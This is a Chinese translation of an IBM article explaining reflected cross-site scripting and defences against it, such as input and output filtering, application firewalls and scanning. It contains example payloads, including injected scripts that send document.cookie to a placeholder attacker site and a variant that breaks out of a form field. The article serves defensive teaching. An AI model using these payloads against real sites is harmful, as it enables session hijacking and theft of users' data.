IBM Rational AppScan:跨站点脚本解释

跨站点脚本攻击会发生什么

跨站点脚本(简称XSS)是黑客用来潜入Web应用程序的最常见的应用程序级别攻击之一。 XSS是对特定网站客户隐私的攻击,当客户详细信息被窃取或操纵时,可能会导致完全破坏安全性。 大多数攻击涉及两方:攻击者和网站,或者攻击者和客户端受害者。 与那些不同,XSS攻击涉及三个方面:攻击者,客户端和网站。

XSS攻击的目标是窃取客户端cookie或任何其他可以识别该网站客户端的敏感信息。 拥有合法用户的令牌,攻击者可以继续充当与该站点交互的用户,从而冒充该用户。 例如,在对一家大公司进行的审核中,可以使用XSS攻击来窥视用户的信用卡号和私人信息。 这是通过在受害者(客户端)浏览器上运行恶意JavaScript代码以及网站的访问权限来实现的。 这些是非常有限JavaScript特权,通常不允许脚本访问除站点相关信息以外的任何内容。 需要强调的是,尽管该漏洞存在于网站上,但该网站绝不会直接受到损害。 但这足以使脚本收集cookie并将其发送给攻击者。 结果,攻击者获取了cookie并冒充了受害者。

XSS技术的说明

我们称其为遭受攻击的网站: www.vulnerable.site 。 传统XSS攻击的核心是易受攻击的站点中的易受攻击的脚本。 此脚本读取HTTP请求的一部分(通常是参数,但有时还会读取HTTP标头或路径),并将其全部或部分回显到响应页面,而无需先对其进行清理(因此请确保它不会包含JavaScript代码或HTML标记,因此,假设此脚本的名称为welcome.cgi,其参数为name ,则可以通过以下方式进行操作:

GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 
  Host: www.vulnerable.site

响应将是:

<HTML> 
  <Title>Welcome!</Title> 
  Hi Joe Hacker <BR> 
  Welcome to our system 
  ... 
  </HTML>

如何滥用? 好吧,攻击者设法诱使受害者客户端单击攻击者提供给用户的链接。 这是一个经过精心设计的恶意链接,该链接使受害者的Web浏览器访问该站点(www.vulnerable.site)并调用易受攻击的脚本。 脚本的数据由JavaScript组成,该JavaScript访问客户端浏览器为www.vulnerable.site存储的cookie。 允许这样做是因为客户端浏览器“体验”了来自www.vulnerable.siteJavaScript,并且JavaScript安全模型允许从特定站点到达的脚本访问属于该站点的cookie。

这样的链接如下所示:

http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>

受害者单击链接后,将生成对www.vulnerable.site的请求,如下所示:

GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 
  Host: www.vulnerable.site ...

易受攻击的站点响应将是:

<HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> 
  <BR> Welcome to our system ... 
  </HTML>

受害客户端的浏览器会将此响应解释为包含一段JavaScript代码HTML页面。 该代码在执行后被允许访问属于www.vulnerable.site的所有cookie。 因此,它将在客户端浏览器上弹出一个窗口,显示所有属于www.vulnerable.site的客户端cookie。

当然,真正的攻击包括将这些cookie发送给攻击者。 为此,攻击者可能会建立一个网站(www.attacker.site)并使用脚本来接收cookie。 攻击者没有弹出窗口,而是写了访问www.attacker.site上的URL的代码,从而调用cookie接收脚本,其参数为被盗的cookie。 这样,攻击者可以从www.attacker.site服务器获取cookie。

恶意链接为:

http://www.vulnerable.site/welcome.cgi?name=<script>window.open
("http://www.attacker.site/collect 
  .cgi?cookie="%2Bdocument.cookie)</script>

响应页面如下所示:

<HTML> <Title>Welcome!</Title> Hi 
  <script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script> 
  <BR> 
  Welcome to our system ... </HTML>

浏览器在加载此页面后立即执行嵌入式JavaScript,并向浏览器www.attacker.site中的collect.cgi脚本发送请求,并带有浏览器已经拥有的cookie.vulnerable.site的值。 这会损害客户端拥有的www.vulnerable.site的cookie。 它允许攻击者冒充受害者。 客户的隐私被完全破坏。

注意:
通常足以使JavaScript弹出窗口出现,足以证明该站点容易受到XSS攻击。 如果可以调用JavaScript Alert函数,则通常没有理由让window.open调用失败。 这就是为什么大多数XSS攻击示例都使用Alert功能的原因,这使检测其成功非常容易。

范围和可行性

攻击只能在受害者的浏览器上进行,该浏览器用于访问该站点(www.vulnerable.site)。 攻击者需要强制客户端访问恶意链接。 这可以通过以下方式发生:

  • 攻击者发送一封电子邮件,其中包含一个HTML页面,该页面强制浏览器访问链接。 这要求受害者使用启用HTML的电子邮件客户端,并且客户端上HTML查看器与用于访问www.vulnerable.site的浏览器相同。
  • 客户端访问一个站点,该站点可能由攻击者操作,在该站点上指向图像或其他有效HTML的链接会迫使浏览器访问该链接。 同样,必须使用相同的浏览器来访问此站点和www.vulnerable.site。

恶意JavaScript可以访问以下任何信息:

  • 浏览器维护的(www.vulnerable.site的)永久cookie
  • 仅在当前浏览器浏览www.vulnerable.site时,由浏览器实例维护的RAM cookie(属于www.vulnerable.site)。
  • 为www.vulnerable.site打开的其他窗口的名称
  • 通过当前DOM可访问的任何信息(来自值,HTML代码等)

标识,认证和授权令牌通常作为cookie维护。 如果这些cookie是永久性的,则即使当前不使用浏览器访问www.vulnerable.site,受害者也很容易受到攻击。 但是,如果这些cookie是临时性的(例如RAM cookie),则客户端必须与www.vulnerable.site建立会话。

标识令牌的另一种可能的实现方式是URL参数。 在这种情况下,可以通过以下方式使用JavaScript来访问其他窗口(假设带有必要URL参数的页面名称为foob​​ar ):

<script>var victim_window=open(",'foobar');alert('Can access: 
' +victim_window.location.search)</script>

关于这个主题的变化

除了<SCRIPT>之外,还可以使用许多HTML标记来运行JavaScript。 实际上,恶意JavaScript代码也可能驻留在另一台服务器上,并迫使客户端下载脚本并执行它,这在要运行大量代码或代码包含特殊字符时很有用。 。

这些可能性有两种变化:

  • 黑客可以使用<img src="javascript:...">代替<script>...</script> <img src="javascript:..."> 。 这对于过滤<script> HTML标记的网站很有用。
  • 除了<script>...</script> ,还可以使用<script src="//..."> 。 这对于JavaScript代码太长或包含禁止字符的情况很有用。

有时,在非自由HTML上下文中找到响应页面中嵌入的数据。 在这种情况下,首先有必要“转义”到自由上下文,然后附加XSS攻击。 例如,如果将数据作为HTML表单字段的默认值注入:

... 
<input type=text name=user value="..."> 
...

然后有必要在数据的开头添加"> ,以确保转义到免费HTML上下文,该数据应为:

"><script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>

生成HTML将是:

... 
<input type=text name=user value=""><script>window.open
("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>">
...

其他执行传统XSS攻击的方法

到目前为止,我们已经看到XSS攻击可能发生在GET请求的参数中,该参数通过脚本回显给响应。 但是也可以使用POST请求或使用HTTP请求的路径组件进行攻击-甚至使用某些HTTP标头(例如Referer)也可以进行攻击。

特别是,当错误页面返回错误路径时,路径组件很有用。 在这种情况下,将恶意脚本包含在路径中通常会执行它。 发现许多Web服务器容易受到此攻击。

什么地方出了错?

重要的是要理解,尽管该网站不受此攻击的直接影响(它继续正常运行,该网站上没有执行恶意代码,没有发生DoS情况,并且没有直接操作或从该网站读取数据),但该网站向其访问者或客户提供的隐私仍然存在缺陷。 就像站点部署具有弱安全令牌的应用程序一样,攻击者可以利用它来猜测客户端的安全令牌并假冒其身份。

应用程序中的弱点是脚本,无论其值如何,它都会回显其参数。 好的脚本可以确保参数的格式正确,包含合理的字符等。 通常,没有充分的理由使有效参数包含HTML标记或JavaScript代码,为了安全起见,应在将参数嵌入响应中或在应用程序中对其进行处理之前,将其从参数中删除。

如何保护站点免受XSS攻击

可以通过三种方式保护站点免受XSS攻击:

  1. 通过执行内部输入过滤(有时称为输入卫生 )。 对于内部编写的每个脚本中的每个用户输入(无论是参数还是HTTP标头),都应应用针对HTML标签(包括JavaScript代码)的高级过滤。 例如,上一个案例研究中的welcome.cgi脚本在对<script>标记进行解码后,应该通过对name参数进行解码来对其进行过滤。 但是,此方法有一些严重的缺点:
    • 这要求应用程序程序员精通安全性。
    • 它要求程序员覆盖所有可能的输入源(查询参数, POST请求的主体参数,HTTP标头)。
    • 它无法防御第三方脚本或服务器中的漏洞。 例如,它无法防御Web服务器(显示资源路径)中错误页面中的问题。
  1. 通过执行“输出过滤”,即在将用户数据发送回浏览器时,而不是在脚本接收到用户数据时,对用户数据进行过滤。 一个很好的例子就是一个脚本,该脚本将输入数据插入数据库,然后呈现出来。 在这种情况下,重要的是不要将过滤器应用于原始输入字符串,而应仅应用于输出版本。 缺点类似于输入过滤的缺点。
  1. 通过安装第三方应用程序防火墙,该防火墙可以在XSS攻击到达Web服务器和易受攻击的脚本之前拦截并阻止XSS攻击。 应用程序防火墙可以通用方式覆盖所有输入方法(包括路径和HTTP标头),而不论内部应用程序中的脚本或路径,第三方脚本或根本没有描述资源的脚本(例如,一种旨在引起服务器发出的404页响应)。 对于每个输入源,应用程序防火墙都会根据各种HTML标记模式和JavaScript模式检查数据。 如果匹配,则拒绝该请求,并且恶意输入不会到达服务器。

检查您的站点是否受到XSS保护的方法

检查站点是否受到XSS攻击的安全是确保站点安全的合理结论。 就像保护站点不受XSS保护一样,可以手动(困难的方式)或使用自动Web应用程序漏洞评估工具来完成对站点确实安全性的检查,从而减轻了检查的负担。 该工具将爬网该站点,然后通过尝试参数,标头和路径,针对发现的所有脚本启动它知道的所有变体。 在这两种方法中,都会以尽可能多的变体检查应用程序的每个输入(所有脚本的参数,HTTP标头,路径),并且如果响应页面在浏览器可以执行的上下文中包含JavaScript代码,则XSS漏洞已暴露。 例如,发送以下文本:

<script>alert(document.cookie)</script>

到每个脚本的每个参数(通过启用JavaScript的浏览器显示最简单的XSS漏洞),如果文本被解释为JavaScript代码,浏览器将弹出JavaScript Alert窗口。 当然,有几种变体。 因此,仅测试该变体是不够的。 而且,正如您已经了解的那样,可以将JavaScript注入请求的各个字段中:参数,HTTP标头和路径。 但是,在某些情况下(特别是HTTP Referer标头),使用浏览器进行攻击很尴尬。

摘要

跨站点脚本编写是黑客用来潜入Web应用程序的最常见的应用程序级别攻击之一,也是最危险的攻击之一。 这是对特定网站客户隐私的攻击,当客户详细信息被窃取或操纵时,可能会导致完全破坏安全性。 不幸的是,正如本文所解释的,这样做通常是在不了解客户或组织受到攻击的情况下进行的。

为了防止网站容易受到这些恶意行为的侵害,组织实施在线和离线安全策略都是至关重要的。 这包括使用自动漏洞评估工具,该工具可以测试站点上的所有常见Web漏洞和特定于应用程序的漏洞(例如跨站点脚本)。 为了进行全面的在线防御,安装防火墙应用程序也很重要,该应用程序可以检测和防御对Web服务器上和后面的代码和内容的任何类型的操纵。


翻译自: https://www.ibm.com/developerworks/rational/library/08/0325_segal/index.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值